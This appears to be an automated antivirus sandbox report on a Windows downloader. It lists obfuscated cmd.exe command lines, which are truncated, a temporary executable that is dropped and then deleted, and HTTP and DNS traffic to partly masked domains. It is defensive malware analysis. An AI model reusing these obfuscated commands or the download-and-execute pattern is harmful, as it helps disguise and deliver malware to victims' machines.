Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c f^OR ; /^f , " delims=fo2XA tokens= 1 " , ; %^W , iN , ( , ; ' ; ; ^^FT^^yPe ; ^| ; FIN^^d^^S^^Tr , d^^f^^i ' ; ) ; do ; %^W; , yr2eOFUzM/^Vj^]N^j~a0p ; Jq9nYIeM/R " , ( (^SeT...
Modifies file system
Creates the following files
- %TEMP%\535.exe
Deletes the following files
- %TEMP%\535.exe
Network activity
Connects to
- 'ha###nscs.com':80
- 'hy#####rbonreports.com':80
- 'gr####isionpr.com':80
- 'aj##.com':80
TCP
HTTP GET requests
- http://hy#####rbonreports.com/0
- http://gr####isionpr.com/GJjBPh
- http://gr####isionpr.com/GJjBPh/
- http://aj##.com/akDJlHl
UDP
- DNS ASK ha###nscs.com
- DNS ASK hy#####rbonreports.com
- DNS ASK gr####isionpr.com
- DNS ASK aj##.com
- DNS ASK ka###.zendo.in.ua
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c f^OR ; /^f , " delims=fo2XA tokens= 1 " , ; %^W , iN , ( , ; ' ; ; ^^FT^^yPe ; ^| ; FIN^^d^^S^^Tr , d^^f^^i ' ; ) ; do ; %^W; , yr2eOFUzM/^Vj^]N^j~a0p ; Jq9nYIeM/R " , ( (^SeT...' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c ^FT^yPe | FIN^d^S^Tr d^f^i
- '<SYSTEM32>\cmd.exe' /S /D /c" FTyPe "
- '<SYSTEM32>\findstr.exe' dfi
- '<SYSTEM32>\cmd.exe' ; , yr2eOFUzM/Vj]Nj~a0p ; Jq9nYIeM/R " , ( (^SeT _^ =:Xw\=C pd^G^,i^3^(t5^c4DH^)h0^kg^an7}^z^.oFjs^yW'rN-ZS$^;^+b^@xM^e^JB{v^u^mlf^P/) )&& ; , fO^R , ; %^G ; ; ^IN , ( ^7^ +31 ^2^...
